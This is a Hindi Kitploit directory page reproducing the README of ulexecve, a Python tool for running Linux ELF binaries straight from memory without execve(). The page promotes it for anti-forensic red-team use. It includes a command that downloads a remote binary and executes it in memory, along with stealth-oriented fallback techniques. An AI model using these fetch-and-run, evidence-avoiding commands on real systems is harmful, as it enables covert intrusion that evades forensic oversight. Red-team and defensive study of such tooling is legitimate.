Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ulexecve — लिनक्स पर डिस्क को छुए बिना मेमोरी से सीधे मनमाना ELF बाइनरी निष्पादित करता है, जो एक ही Python स्क्रिप्ट के माध्यम से गुप्त red-teaming और फोरेंसिक-विरोधी संचालन को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/anvilsecure/ulexecve
मेमोरी फोरेंसिकशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगउपयोगिताएँ और फ्रेमवर्करेड टीमिंग
GitHubanvilsecure/ulexecve

ulexecve

लिनक्स पर डिस्क को छुए बिना मेमोरी से सीधे मनमाना ELF बाइनरी निष्पादित करता है, जो एक ही Python स्क्रिप्ट के माध्यम से गुप्त red-teaming और फोरेंसिक-विरोधी संचालन को सक्षम करता है।

रिपॉजिटरी देखें
2142032 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

त्वरित आरंभ

execve() को कभी कॉल किए बिना डायनामिक या स्टैटिकली कंपाइल्ड ELF लिनक्स बाइनरी निष्पादित करें।

root@kitploit:~
cat /bin/echo | ulexecve - hello
hello

परिचय

यह पायथन टूल ulexecve कहलाता है और इसका मतलब userland execve है। यह आपको लिनक्स सिस्टम पर userland से बिना कभी execve() सिस्टमकॉल कॉल किए मनमानी ELF बाइनरी निष्पादित करने में मदद करता है। दूसरे शब्दों में: आप मनमानी बाइनरी को सीधे मेमोरी से निष्पादित कर सकते हैं बिना उन्हें स्टोरेज पर लिखे। यह एंटी-फॉरेंसिक या रेड-टीमिंग दृष्टिकोण से बहुत उपयोगी है और आपको अधिक छिपकर घूमने में सक्षम बनाता है जबकि अभी भी लक्ष्य मशीनों पर कंपाइल्ड बाइनरी ड्रॉप करते हैं। यह टूल समर्थित लिनक्स प्लेटफॉर्म (x86, x86-64 और aarch64) पर CPython 3.x के साथ-साथ CPython 2.7 (और संभवतः पहले) पर काम करता है। स्टैटिक और डायनामिकली कंपाइल्ड दोनों ELF बाइनरी समर्थित हैं। बेशक हमेशा बाइनरी का एक छोटा सबसेट होगा जो काम नहीं कर सकता या क्रैश का कारण बन सकता है और इनके लिए आधुनिक memfd_create() सिस्टम कॉल के ऊपर 100% विश्वसनीय फॉलबैक विधि लागू की गई है।

पृष्ठभूमि

लिनक्स userland execve टूल का इतिहास लगभग दो दशक पुराना है। इस पर पहला ठोस लेखन The grugq द्वारा The Design and Implementation of Userland Exec [1] और Phrack 62 [2] में एक अन्य लेख में किया गया था। मेमोरी से सीधे बाइनरी निष्पादित करने के लिए एंटी-फॉरेंसिक तकनीकें मानक हैं। Rapid7 के mettle में उदाहरण के लिए libreflect नामक एक लाइब्रेरी है जिसमें noexec नामक एक उपयोगिता शामिल है जो केवल रिफ्लेक्शन के माध्यम से ELF को निष्पादित करने का प्रयास करती है। हालांकि यह टूल C में लिखा गया है और इसकी अंतर्निहित आवश्यकता है कि आपको लक्ष्य सिस्टम पर noexec बाइनरी स्थानांतरित करनी होगी और साथ ही इस बाइनरी को निष्पादित करने में सक्षम होना होगा।

आधुनिक कंटेनर वातावरण में यह निश्चित रूप से हमेशा संभव नहीं है। हालांकि बहुत से कंटेनर वातावरण में पायथन इंस्टॉलेशन होता है। लक्ष्य मशीन पर curl या इसी तरह के माध्यम से एक पायथन स्क्रिप्ट डाउनलोड करने और फिर इस स्क्रिप्ट को निष्पादित करके छिपकर मनमानी बाइनरी निष्पादित करने की क्षमता एंटी-फॉरेंसिक दृष्टिकोण से बहुत उपयोगी है।

यही कारण है कि टूल पूरी तरह से एक फ़ाइल में कार्यान्वित किया गया है। इससे लक्ष्य सिस्टम पर इसे डाउनलोड करना आसान होना चाहिए और इसे चलाने से पहले किसी अन्य निर्भरता को स्थापित करने की चिंता नहीं करनी पड़ेगी। टूल का परीक्षण Python 2.7 के साथ किया गया है, भले ही यह पायथन संस्करण अप्रचलित हो। अभी भी कई सिस्टम 2.x संस्करणों के साथ मौजूद हैं, इसलिए यह उपयोगी है।

पायथन userland execve() का कोई अच्छा अन्य कार्यान्वयन मौजूद नहीं था। SELF [3] है जो व्यापक रूप से दस्तावेजित नहीं था, जिसमें आसान डीबगिंग विकल्पों की कमी थी, लेकिन अधिक महत्वपूर्ण बात यह है कि यह बिल्कुल काम नहीं करता था। ulexecve कार्यान्वयन शुरू से लिखा गया था। यह ELF फ़ाइल को पार्स करता है, डायनामिक लिंकर को लोड और पार्स करता है (यदि आवश्यक हो), सभी सेगमेंट को मेमोरी में मैप करता है और अंततः CPU निर्देशों वाले एक जंप बफर का निर्माण करता है ताकि अंततः पायथन प्रक्रिया से नियंत्रण सीधे नई लोड की गई बाइनरी में स्थानांतरित हो सके।

सभी सामान्य ELF पार्सिंग लॉजिक, स्टैक सेट करना, ELF सेगमेंट मैप करना और जंप बफर सेट करना अमूर्त है, इसलिए दूसरे CPU पर पोर्ट करना काफी आसान है (कुछ घंटों के क्रम में)। इसे अन्य ELF-आधारित प्लेटफॉर्म जैसे BSD में पोर्ट करना थोड़ा अधिक जटिल हो सकता है, लेकिन फिर भी काफी सरल होना चाहिए। ऐसा करने के बारे में अधिक जानकारी के लिए कोड में टिप्पणियाँ देखें।

कृपया ध्यान दें कि यह एक स्पष्ट डिज़ाइन लक्ष्य है कि कोई बाहरी निर्भरता न हो और सब कुछ एकल स्रोत कोड फ़ाइल में कार्यान्वित किया गया हो। यदि आपको छोटे पेलोड बनाने की आवश्यकता है, तो कुछ CPU प्रकारों के लिए समर्थन हटाना या सभी डीबग जानकारी और अन्य विकल्पों को हटाना काफी तुच्छ होना चाहिए।

स्थापना

pip के माध्यम से स्थापित करने के लिए

यद्यपि एंटी-फॉरेंसिक दृष्टिकोण से इसका बहुत कम अर्थ है, टूल pip के माध्यम से स्थापित करने योग्य है।

root@kitploit:~
pip install ulexecve
ulexecve --help

पायथन पैकेज के रूप में बनाने और स्थापित करने के लिए

root@kitploit:~
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help

curl के माध्यम से डाउनलोड और चलाने के लिए

root@kitploit:~
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help

उपयोग

टूल पूरी तरह से स्टैटिक और डायनामिकली कंपाइल्ड निष्पादन योग्य फ़ाइलों का समर्थन करता है। बस बाइनरी का फ़ाइलनाम ulexecve को दें और बाइनरी को आपूर्ति करने के लिए कोई भी तर्क दें। पर्यावरण सीधे उस वातावरण से कॉपी किया जाएगा जिसमें आप ulexecve निष्पादित करते हैं।

root@kitploit:~
ulexecve /bin/ls -lha

यदि आप फ़ाइलनाम के रूप में - निर्दिष्ट करते हैं, तो आप इसे stdin से बाइनरी पढ़ सकते हैं।

root@kitploit:~
cat /bin/ls | ulexecve - -lha

बाइनरी को मेमोरी में डाउनलोड करने और तुरंत निष्पादित करने के लिए आप --download का उपयोग कर सकते हैं। यह फ़ाइलनाम तर्क को URI के रूप में व्याख्या करेगा।

root@kitploit:~
ulexecve --download http://host/binary

डीबग करने के लिए कई विकल्प उपलब्ध हैं। यदि आपको क्रैश मिलता है, तो आप --debug के माध्यम से डीबग जानकारी, --show-stack के माध्यम से निर्मित स्टैक और --show-jumpbuf के माध्यम से उत्पन्न जंप बफर दिखा सकते हैं। --jump-delay विकल्प बहुत उपयोगी है यदि आप ELF को ठीक से पार्स और मैप करना चाहते हैं और फिर जंप बफर और अंतिम निष्पादित बाइनरी के माध्यम से क्रैश का कारण खोजने के लिए डीबगर संलग्न करना चाहते हैं।

root@kitploit:~
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
 argv
   00000000:   0x0000000000000002
   00000008:   0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245:   00 00 00
248:   4c 01 d9                add    %r11,%rcx
24b:   48 31 d2                xor    %rdx,%rdx
24e:   ff e1                   jmpq   *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello

हमेशा --fallback विकल्प होता है। यह उतना छिपा हुआ नहीं है जितना कि बाइनरी को स्वयं userland में पार्स और मैप करना। फॉलबैक विधि memfd_create() और fexecve() का उपयोग करती है लेकिन यह मनमानी स्टैटिक या डायनामिक बाइनरी निष्पादित करने के लिए 100% समय काम करनी चाहिए। बशर्ते आपूर्ति की गई बाइनरी उस प्लेटफॉर्म के लिए सही बाइनरी हैं जिस पर आप हैं, स्पष्ट रूप से।

सीमाएँ

जाहिर है, आप हमेशा ऐसी बाइनरी के साथ समाप्त हो सकते हैं जो ठीक से निष्पादित नहीं होंगी। हालांकि यह कार्यान्वयन काफी साफ और अच्छी तरह से परीक्षण किया गया है (इसमें स्टैटिक और डायनामिक बाइनरी, PIE-कंपाइल्ड निष्पादन योग्य और विभिन्न रनटाइम जैसे Rust या Go वाले निष्पादन योग्य के लिए यूनिट-टेस्ट शामिल हैं)। उल्लिखित प्लेटफॉर्म पर अधिकांश टूल और बाइनरी के लिए यह काम करना चाहिए। लेकिन आपका अनुभव भिन्न हो सकता है। इंस्टॉलेशन पैकर्स द्वारा उत्पादित बाइनरी जो ELF के अंदर अन्य जानकारी एम्बेड करते हैं, उनके द्वारा उपयोग की जाने वाली स्व-संदर्भित तरकीबों के आधार पर ठीक से काम नहीं कर सकते हैं। हालांकि PyInstaller बाइनरी के लिए ulexecve में एक विशिष्ट फॉलबैक जोड़ा गया था।

PyInstaller बाइनरी

वे बाइनरी जो PyInstaller के साथ बनाई गई हैं, सीधे काम नहीं करेंगी। इन बाइनरी को एक संगत पैकेज फ़ाइल की आवश्यकता होती है या, अधिकांश मामलों में, एम्बेडेड पायथन इंटरप्रेटर शुरू करने के बाद ठीक से अनपैक और चलाने के लिए आवश्यक अतिरिक्त डेटा ELF के अंदर एम्बेड करती हैं। इसका मतलब है कि उन्हें ठीक से काम करने के लिए नहीं बनाया जा सकता। इसके आसपास जाने के कुछ तरीके हैं। एक सरल तरीका, जो वास्तविक दुनिया के मामलों के एक सबसेट में काम कर सकता है, मानता है कि वहाँ एक लिखने योग्य अस्थायी फाइलसिस्टम है। फिर हम बाइनरी में /proc/self/exe स्ट्रिंग को /tmp/xxxx से बदल देते हैं। उसके बाद हम बाइनरी को memfd_create() के माध्यम से मेमोरी में लोड करते हैं और फिर /tmp/xxxx के लिए सिमलिंक को /proc/<pid>/fd/<fd> पर इन-मेमोरी फ़ाइल की ओर इंगित करते हैं। इस विकल्प को आज़माने के लिए --pyi-fallback का उपयोग करें। यदि आपको एक विशिष्ट अन्य अस्थायी निर्देशिका निर्दिष्ट करने की आवश्यकता है, तो --tmpdir का उपयोग करें। कृपया ध्यान दें कि tmpdir सहित परिणामी पथ की लंबाई स्ट्रिंग /proc/self/exe (14 बाइट्स) के बराबर ही होनी चाहिए, इसलिए लंबे पथ काम नहीं करेंगे।

root@kitploit:~
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h  | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -
hello

पोर्टिंग

जब किसी भिन्न प्लेटफॉर्म पर पोर्ट कर रहे हों, तो सुनिश्चित करें कि यूनिट-टेस्ट की छोटी संख्या सभी काम करती है। बस लक्ष्य प्लेटफॉर्म पर शामिल ./test.py चलाएँ और तब तक सब कुछ ठीक करें जब तक ये सभी परीक्षण फिर से सफल न हो जाएँ।

बग्स, टिप्पणियाँ, सुझाव

गिटहब के माध्यम से पुल-अनुरोध भेजें, इश्यू ट्रैकर में एक मुद्दा पोस्ट करें या बस [email protected] पर एक ईमेल भेजें।

संदर्भ

  1. "यूज़रलैंड एक्सेक का डिज़ाइन और कार्यान्वयन", ग्रुग द्वारा।

  2. "फिस्ट! फिस्ट! फिस्ट! यह सब कलाई में है: रिमोट एक्सेक", ग्रुग द्वारा, Phrack 62-0x08, 2004-07-13।

  3. पायथन में SELF का कार्यान्वयन, मैकीज कोटोविज़ (mak) द्वारा।

टूल डाउनलोड करें